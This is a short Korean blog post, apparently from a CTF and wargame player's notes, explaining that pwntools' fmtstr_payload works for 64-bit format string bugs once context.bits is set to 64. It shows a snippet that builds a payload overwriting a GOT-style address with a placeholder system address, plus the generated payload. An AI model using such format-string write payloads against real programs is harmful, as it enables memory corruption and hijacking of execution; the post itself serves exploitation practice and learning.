pwntools 64bit fmtstr_payload

2023. 2. 12. 20:52·Tips & theory
728x90
반응형

서론

최근까지도 format string bug 문제가 나오면 직접 페이로드를 작성했었다.

왜나하면 기본적인 pwntools fmtstr_payload가 64 bit 용으로는 제대로 작성되지 않는 경우가 많았기 때문이다.

더불오 인터넷에 올라와있는 많은 코드들도 오류가 발생하는 경우가 대부분이었다.

 

고정된 주소라면 상관 없지만,

leak 된 주소를 기반으로 하는 페이로드 작성이 시간이 지날수록 귀찮아짐에 따라

fmtstr_payload를 적극적으로 사용하기 위해 검색을 조금 했고, 드디어 찾아냈다.

 

방법

해결 방법이 너무 쉬웠다 -_-

단순히 contet.bits만 확실히 선언해주면 된다.

 

예를 들면 아래와 같다.

from pwn import *

context.bits = 64

system = 0x7f123456789012

payload = fmtstr_payload(8,{0x404028:system},100)

print(len(payload))
print(payload)

 

┌[wyv3rn🐲]-(~)
└> python solve.py
136
b'%174c%18$lln%19$hhn%34c%20$hhn%34c%21$hhn%34c%22$hhn%7c%23$hhn%17c%24$hhnaaaabaa(@@
\x00\x00\x00\x00\x00-@@\x00\x00\x00\x00\x00,@@\x00\x00\x00\x00\x00+@@\x00\x00\x00\x00
\x00*@@\x00\x00\x00\x00\x00.@@\x00\x00\x00\x00\x00)@@\x00\x00\x00\x00\x00'

 

다만, 주소를 너무 쪼개서 쓰기 때문에 꽤나 긴 페이로드가 만들어진다.

stack 크기가 한정되어있다면 조금 고민해봐야될 듯...

728x90
반응형
저작자표시 비영리 변경금지 (새창열림)

'Tips & theory' 카테고리의 다른 글

pip certificate error  (0) 2023.08.16
format string bug - 스택의 값을 출력 값으로 쓸 수 없을까?  (0) 2023.07.02
vscode 탐색기에서 불필요한 파일 숨기기  (0) 2023.02.12
Legendre Symbol - 르장드르 기호  (0) 2023.02.09
Quadratic Residues - 제곱 잉여  (0) 2023.02.07
'Tips & theory' 카테고리의 다른 글
  • pip certificate error
  • format string bug - 스택의 값을 출력 값으로 쓸 수 없을까?
  • vscode 탐색기에서 불필요한 파일 숨기기
  • Legendre Symbol - 르장드르 기호
wyv3rn
wyv3rn
아저씨의 흔한 취미. wyv3rn#1249
  • wyv3rn
    think storage
    wyv3rn
  • 전체
    오늘
    어제
    • 분류 전체보기 (500) N
      • To do list (7) N
        • Doing (1) N
        • Complete (6)
      • Diary (35)
      • Tips & theory (77)
      • Kernel Exploit (27) N
        • Theory (15)
        • Exercise (5) N
      • Wargame (313)
        • pwn.college (34)
        • Dreamhack (148)
        • pwnable.kr (15)
        • Lord of Sqlinjection (3)
        • Cryptohack (20)
        • Root me (27)
        • CodeEngn (4)
        • Exploit Education (22)
        • ROP Emporium (8)
        • H4C (10)
        • Hackerchool (22)
      • CTF (41) N
        • Solved (39) N
        • Unsolved (2)
      • Script (0)
  • 블로그 메뉴

    • 홈
    • 방명록
  • 링크

  • 공지사항

    • PWN wargame 모음 (및 느낀점)
    • 비공개 글들에 대해.
    • 뭐라도 하나 얻어가시길...
  • 인기 글

  • 태그

    rop
    x64
    64bit
    RTL
    dreamhack
    cryptohack
    libc
    exploit education
    pwnable.kr
    docker
    heap
    CANARY
    ROOT ME
    root
    hackerschool
    Buffer Overflow
    tcache
    pwntools
    32bit
    FSB
    x86
    Me
    lob
    root-me
    vtable
    Format String Bug
    phoenix
    BOF
    _IO_FILE
    la ctf
  • 최근 댓글

  • 최근 글

  • 250x250
    반응형
  • hELLO· Designed By정상우.v4.10.3
wyv3rn
pwntools 64bit fmtstr_payload
상단으로

티스토리툴바